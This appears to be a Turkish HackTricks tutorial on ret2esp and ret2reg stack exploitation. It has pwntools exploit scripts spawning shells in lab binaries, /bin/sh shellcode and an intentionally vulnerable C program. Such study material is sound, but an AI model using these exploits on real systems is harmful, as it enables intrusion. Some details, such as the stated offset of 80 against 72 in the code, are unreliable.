Ret2esp / Ret2reg
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Ret2esp
Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder, bu teknik EIP'yi (Talimat Göstergesi) bir jmp esp
veya call esp
talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. ret
talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere.
Eğer Adres Alanı Düzeni Rastgeleleştirmesi (ASLR) Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan jmp esp
veya call esp
talimatlarını kullanmak mümkündür. Ancak, ASLR aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve PIE ile başa çıkmanız gerekebilir).
Ayrıca, shellcode'u EIP bozulmasından sonra yerleştirebilmek, yığın içinde ortada değil, yığın üzerinde, işlevin çalışması sırasında gerçekleştirilen herhangi bir push
veya pop
talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir.
Alan eksikliği
Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikse (belki sadece birkaç bayt), başlangıçta bir jmp
shellcode'u yazın:
sub rsp, 0x30
jmp rsp
Ve shellcode'u yığın içinde erken yazın.
Örnek
Bu tekniğin bir örneğini https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp adresinde bulabilirsiniz ve son exploit şöyle:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Bu tekniğin başka bir örneğini https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, $esp
adresini küçültmek için bir gadget kullanılıyor ve ardından shellcode'a atlamak için jmp esp;
kullanılıyor:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndürdüğünü biliyorsak, call eax
veya jmp eax
talimatlarını (bilinen ret2eax tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, ilginç bir adres içeren herhangi bir başka kayıt da kullanılabilir (ret2reg).
Örnek
Burada bazı örnekler bulabilirsiniz:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
shellcode'un saklandığı buffer'ın adresinieax
'de saklayacak veeax
üzerine yazılmadığı içinret2eax
kullanmak mümkün.
ARM64
Ret2sp
ARM64'te SP kaydına atlamaya izin veren talimatlar yoktur. SP'yi bir kayda taşıyan ve sonra o kayda atlayan bir gadget bulmak mümkün olabilir, ancak benim kali'mdeki libc'de böyle bir gadget bulamadım:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Keşfettiğim tek yöntem, sp'nin kopyalandığı kayıt değerini değiştirmekti (bu yüzden işe yaramaz hale gelecekti):
.png)
Ret2reg
Eğer bir kaydın ilginç bir adresi varsa, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
ARM64'te, bir fonksiyonun dönüş değerini saklayan x0
'dır, bu nedenle x0'ın, kullanıcı tarafından kontrol edilen ve çalıştırılacak bir shellcode içeren bir tamponun adresini saklaması mümkündür.
Örnek kod:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Fonksiyonun ayrıştırmasını kontrol ettiğimizde, tamponun adresinin (bof'a karşı hassas ve kullanıcı tarafından kontrol edilen) x0
'da saklandığını görebiliriz; bu, tampon taşmasından dönerken gerçekleşir:
.png)
Ayrıca do_stuff
fonksiyonunda br x0
gadget'ını bulmak da mümkündür:
.png)
Bu gadget'ı kullanarak ona atlayacağız çünkü ikili dosya PIE OLMADAN derlenmiştir. Bir desen kullanarak, tampon taşmasının ofsetinin 80 olduğunu görebiliriz; bu nedenle exploit şöyle olacaktır:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Eğer fgets
yerine read
gibi bir şey kullanılsaydı, sadece dönüş adresinin son 2 baytını değiştirerek br x0;
talimatına geri dönmek mümkün olabilirdi, tam adresi bilmeye gerek kalmadan.
fgets
ile bu işe yaramaz çünkü sonuna bir null (0x00) baytı ekler.
Protections
- NX: Yığın çalıştırılabilir değilse, shellcode'u yığında yerleştirip çalıştırmak için atlama yapmamız gerektiğinden bu yardımcı olmaz.
- ASLR & PIE: Bunlar esp veya başka bir kaydediciye atlamak için bir talimat bulmayı zorlaştırabilir.
References
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.